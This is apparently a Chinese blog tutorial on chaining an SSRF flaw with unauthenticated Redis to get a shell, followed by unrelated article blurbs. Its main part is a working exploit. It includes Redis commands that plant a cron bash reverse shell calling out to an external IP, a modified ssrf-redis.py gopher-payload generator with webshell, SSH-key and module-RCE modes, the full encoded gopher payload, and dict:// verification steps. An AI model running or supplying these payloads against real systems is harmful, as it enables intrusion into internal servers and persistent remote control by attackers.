SSRF+Redis未授权getshell

SSRF+Redis未授权getshell

1.前言

当一个网站具有ssrf漏洞,如果没有一些过滤措施,比如没过滤file协议,gophere协议,dict等协议,就会导致无法访问的内网服务器信息泄露,甚至可以让攻击者拿下内网服务器权限

2.文章主要内容

这里就不讲file协议去获取内网服务器的信息了,也不讲dict协议原理,这些直接百度了解即可,直接就介绍如何利用gopher协议通过SSRF和Redis未授权进行getshell

3.条件

  1. 目标内网机器出网
  2. redis可以未授权访问(或者具有redis密码)。

4.思路

如果想getshell,无非就是让目标主机反弹连接到我们的服务器,那么就需要借助目标主机的定时任务了,由于目标主机具有redis未授权访问漏洞,并且redis有这样一个特性,就是可以将数据快照信息覆盖到服务器的目录中,如果你直接可以通过redis客户端连接目标的redis执行命令,那么实现反弹shell的具体的操作命令如下:

set lucy "\n\n*/1 * * * * bash -i >& /dev/tcp/154.90.63.50/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

但是,由于目标在内网,我们通过redis客户端肯定是访问不到的,所以就必须借组具有ssrf漏洞的web服务器,将web服务器作为跳板,让他帮我们操作内网的redis即可。

那么,如何才能让web服务器帮我们在内网中去执行我们上面的具体操作命令呢,如果不是通过redis客户端操作,肯定不能用上面这么简单的命令了,因为我们让web服务器帮我们发送payload的时候使用的是tcp协议,然而真正内网主机中reedis执行的命令协议比较复杂,有一定的规则,因此我们要将我们的payload转换一下格式,借组gopher协议发送payload

5.payload转gopher协议

这里就要用到github上一个大佬的工具了

https://github.com/xmsec/redis-ssrf,其中我们只需要使用ssrf-redis.py文件即可,对其中的内容进行稍微修改然后运行就可以获得我们支持gopher协议的payload,下面我把大佬的ssrf-redis.py文件贴出来(我对一些地方进行了修改):

要修改的地方:

  1. 第140行的IP,要修改为你要攻击的内网IP
  2. 第141的port,修改为目标redis开放端口,默认是6379
  3. 第157行的mode改为1
  4. 第160行的passwd,如果对方redis有密码并且你必须知道,就需要设置为目标的redis密码
  5. 第112行,需要修改定时任务文件名,一般为root
  6. 第113行,要修改定时任务文件所在目录,一般为/var/spool/cron/,当然有的机器的目录会不一样,可以百度搜索常见目录
  7. 第114行,就是定时任务的反弹shell了,根据你的监听服务器,监听端口进行修改即可,这个定时任务是每分钟一次
#!/usr/local/bin python
#coding=utf8try:from urllib import quote
except:from urllib.parse import quotedef generate_info(passwd):cmd=["info","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_shell(filename,path,passwd,payload):cmd=["flushall","set 1 {}".format(payload),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_reverse(filename,path,passwd,payload): # centoscmd=["flushall","set lucy {}".format(payload),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_sshkey(filename,path,passwd,payload):cmd=["flushall","set 1 {}".format(payload),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):exp_filename="exp.so"cmd=["SLAVEOF {} {}".format(lhost,lport),"CONFIG SET dir /tmp/","config set dbfilename {}".format(exp_filename),"MODULE LOAD /tmp/{}".format(exp_filename),"system.exec {}".format(command.replace(" ","${IFS}")),# "SLAVEOF NO ONE",# "CONFIG SET dbfilename dump.rdb",# "system.exec rm${IFS}/tmp/{}".format(exp_filename),# "MODULE UNLOAD system","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef rce_cleanup():exp_filename="exp.so"cmd=["SLAVEOF NO ONE","CONFIG SET dbfilename dump.rdb","system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),"MODULE UNLOAD system","quit"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))return cmddef redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x)))+CRLF+xcmd+=CRLFreturn cmddef generate_payload(passwd,mode):payload="test"if mode ==0:filename="shell.php"path="/var/www/html"shell="\n\n<?=eval($_GET[0]);?>\n\n"cmd=generate_shell(filename,path,passwd,shell)elif mode==1: filename="root"path="/var/spool/cron/"shell="\n\n*/1 * * * * bash -i >& /dev/tcp/154.66.63.60/2333 0>&1\n\n"cmd=generate_reverse(filename,path,passwd,shell.replace(" ","^"))elif mode==2:filename="authorized_keys"path="/root/.ssh/"pubkey="\n\nssh-rsa "cmd=generate_sshkey(filename,path,passwd,pubkey.replace(" ","^"))elif mode==3:lhost="192.168.1.100"lport="6666"command="whoami"cmd=generate_rce(lhost,lport,passwd,command)elif mode==31:cmd=rce_cleanup()elif mode==4:cmd=generate_info(passwd)protocol="gopher://"ip="172.18.240.7"port="6379"payload=protocol+ip+":"+port+"/_"for x in cmd:payload += quote(redis_format(x).replace("^"," "))return payloadif __name__=="__main__":   # 0 for webshell ; 1 for re shell ; 2 for ssh key ; # 3 for redis rce ; 31 for rce clean up# 4 for info# suggest cleaning up when mode 3 usedmode=1# input auth passwd or leave blank for no pwpasswd = '' p=generate_payload(passwd,mode)print(p)

6.运行协议格式转换脚本

在根据你的目标,修改上面的脚本之后,运行脚本

python ssrf-redis.py

运行结果如下:

gopher://172.18.240.7:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Alucy%0D%0A%2458%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20/dev/tcp/154.66.63.60/2333%200%3E%261%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

这个结果就是我们最终的设置定时任务的反弹shell的payload,将这个payload放到具有ssrf漏洞的功能点发起请求即可。

如图,就是我们使用payload之后的回显结果,都是OK,说明所有命令执行成功,不放心的话可以继续下一步进行校验执行结果。

在这里插入图片描述

7.检查执行结果(自信的话可跳过此步骤)

为了确定我们的payload是否成功写入内网,可以利用dict协议进行检查,使用以下命令可以看内网主机的redis的key有哪些

dict://172.18.240.7:6379/keys *

如图所示,发现就有我们刚刚的python脚本中设置payload的lucy这个key

在这里插入图片描述

然后我们再利用dict协议,用以下命令去看看lucy对应的value

dict://172.18.240.7:6379/get lucy

如图所示,发现我们的反弹shell的定时任务成功写入

在这里插入图片描述

8.环境复现

上面的图中的靶场是某公司的面试题,我这里没有靶场环境,这个文章旨在提供思路,如果想复现类似的环境,可以参考下面的文章,这个文章就有环境搭建,不过不是我这篇文章的环境:

SSRF——手把手教你Redis反弹Shell_ssrf redis-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/308729.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL 主从复制部署(8.0)

什么是主从数据库 主从数据库是一种数据库架构模式&#xff0c;通常用于提高数据库的性能、可用性和可伸缩性。 它包括两种类型的数据库服务器&#xff1a; 1&#xff09;主数据库&#xff08;Master&#xff09;&#xff1a;主数据库是读写数据的主要数据库服务器。所有写操…

RobotFramework功能自动化测试框架基础篇

概念 RobotFramework是什么&#xff1f; Robot Framework是一款python编写的功能自动化测试框架。具备良好的可扩展性&#xff0c;支持关键字驱动&#xff0c;可以同时测试多种类型的客户端或者接口&#xff0c;可以进行分布式测试执行。主要用于轮次很多的验收测试和验收测试…

appium driver install uiautomator2 安装失败

报错 Installing ‘uiautomator2’ using NPM install spec ‘appium-uiautomator2-driver’ Error: Encountered an error when installing package: npm command ‘install --save-dev --no-progress --no-audit --omitpeer --save-exact --global-style --no-package-lock…

网络篇12 | 链路层 ARP

网络篇12 | 链路层 ARP 01 简介1&#xff09;工作过程2&#xff09;ARP缓存2.1 动态ARP表项2.2 静态ARP表项2.3 短静态ARP表项2.4 长静态ARP表项 02 ARP报文格式1&#xff09;ARP请求报文格式2&#xff09;ARP响应报文格式3&#xff09;套一层以太网帧&#xff08;ARP帧&#x…

Python学习笔记25 - 一些案例

1. 输出金陵前五钗 2. 向文件输出信息 3. 打印彩色字 4. print函数、进制转换 5. 猜数游戏 6. 输出ASCII码对应的字符 7. 计算100~999之间的水仙花数 8. 千年虫数组的索引及其值 9. 星座zip dict 10. 12306车次信息 11. 字符串的格式化 12. 手动抛出异常 13. 计算圆的面积和周长…

SpringBoot 整合RocketMQ

目录 一、引入依赖 二、配置文件 三、生产者 四、消费者 五、结果 一、引入依赖 <dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-spring-boot-starter</artifactId><version>2.2.0</version> </d…

MYSQL09_行格式概述、变长字段、NULL值、记录头信息、真实数据、内部结构

文章目录 ①. InnoDB - 行格式概述②. 变长字段长度列表 ③. NULL值列表④. 记录头信息5字节⑤. 记录的真实数据⑥. Compact行记录的内部结构⑦. Dynamic和Compressed行格式 ①. InnoDB - 行格式概述 ①. 我们平时的数据以行为单位来向表中插入数据,这些记录在磁盘上的存放方式…

IP查询在追踪网络攻击源头中的应用

随着网络攻击事件的不断增加&#xff0c;追踪攻击源头成为网络安全领域的重要任务之一。IP查询技术通过分析网络流量中的IP地址&#xff0c;可以帮助确定攻击的来源。本文将探讨IP查询在追踪网络攻击源头中的应用&#xff0c;包括其原理、方法以及实际案例分析。 IP地址查询&a…

linux(ub)-redis环境部署

1.下载redis包 wget http://download.redis.io/releases/redis-7.0.5.tar.gz 2.解压缩&#xff1a; tar -zxvf redis-7.0.5.tar.gz 3.安装gcc&#xff1a;sudo apt-get install gcc 4. 编译&#xff1a;cd redis-7.0.5 make make make install 5. cd /usr/local/bin/ 6. mkdir …

21.5k Star , AI 智能体项目OpenDevin:少写代码,多创造(附部署教程)

Aitrainee | 公众号&#xff1a;AI进修生 这是一个旨在复制 Devin 的开源项目&#xff0c;Devin 是一位自主人工智能软件工程师&#xff0c;能够执行复杂的工程任务并在软件开发项目上与用户积极协作。该项目致力于通过开源社区的力量复制、增强和创新 Devin。 Devin 代表了一…

STK与matlab交互 Astrogator模块 (11)

一、背景知识 前面由于定轨的大作业&#xff0c;关于Astrogator模块的学习有所滞后&#xff0c;在本节将重新聚焦Astrogator模块&#xff0c;在本节中&#xff0c;首先解决的问题是已知两个卫星的轨道六根数&#xff0c;求解其中某一颗卫星LVLH坐标下另一颗卫星的位置速度。这…

一起学习python——基础篇(20)

前言&#xff0c;之前经常从网上找一些免费的接口来测试&#xff0c;有点受制于人的感觉。想了想还不如直接写一个接口&#xff0c;这样方便自己测试。自己想返回什么格式就返回什么样子&#xff0c;不用担心服务报错&#xff0c;因为自己就可以完全掌控。然后宿舍二哥告诉我py…

(四)qt中使用ffmpeg播放视频,可暂停恢复

一、在qt中添加ffmpeg库及头文件 INCLUDEPATH /usr/local/ffmpeg/include LIBS -L/usr/local/lib -lavutil -lavcodec -lavformat -lswscale 二、详细代码 FFempegVideoDecode 视频解码类&#xff08;放入线程中&#xff09; ffmpegvideodecode.h #ifndef FFMPEGVIDEODE…

NAT技术

网络技术深似海呀&#xff0c;一段时间不用又忘。 是什么 NAT技术是网络防火墙技术的一部分&#xff0c;可以作用在linux防火墙或者设备防火墙&#xff0c;NAT技术可以实现地址和端口的转换&#xff0c;主要还是为了网络连通性。 作用 存在以下三个IP&#xff0c;A(10.234.…

阿里云OSS使用流程

准备工作 无论怎么样&#xff0c;你需要准备一个阿里云账号&#xff0c;点击&#xff1a;注册阿里云 输入相关信息&#xff0c;然后注册成功以后&#xff0c;点击 然后注册成功了&#xff0c;实名一下阿里云账号。打开实名入口&#xff0c;选择个人实名或者企业实名。 如果你…

在Mac主机上连接Linux虚拟机

前言 最近醉心于研究Linux&#xff0c;于是在PD上安装了一个Debian Linux虚拟机&#xff0c;用来练练手。但是每次在mac和Linux之间切换很是麻烦&#xff0c;有没有一种方法&#xff0c;可以在mac终端直接连接我的虚拟机&#xff0c;这样在mac终端上就可以直接操控我的Linux虚…

【C语言】——字符串函数的使用与模拟实现(上)

【C语言】——字符串函数 前言一、 s t r l e n strlen strlen 函数1.1、函数功能1.2、函数的使用1.3、函数的模拟实现&#xff08;1&#xff09;计数法&#xff08;2&#xff09;递归法&#xff08;3&#xff09;指针 - 指针 二、 s t r c p y strcpy strcpy 函数2.1、函数功能…

tkinter窗口组件Entry

from tkinter import * 创建主窗口 app Tk() 设置窗口大小为1040x2048(手机) app.geometry(“1040x2048”) 设置窗口背景为灰色 app.configure(bg“gray”) 定义一个函数text()&#xff0c;用于处理输入框内容的变化 def text(): # 获取输入框e1的内容 if e1.get() “…

JS/TS笔记学习1

周末总得学点什么吧~ 奥利给! 跑火车 递归 减速 let currentIndex 0; let speed 500; // 初始速度&#xff0c;单位是毫秒 let decrement 20; // 每次迭代速度减少的量 const cells document.querySelectorAll(.cell); function highlightCell() { cells.forEach(…

常见的锁策略,synchronized优化过程和cas过程

1. 常见的锁策略 所谓"策略",也可以理解为做法."锁策略"就是用来描述一把锁面对加锁/解锁时的做法. 1.1 乐观锁 vs 悲观锁 要区分一把锁是乐观锁还是悲观锁,就要预测当前这把锁冲突的概率高不高. 如果冲突概率高,后续要做的工作往往会更多,加锁的开销就…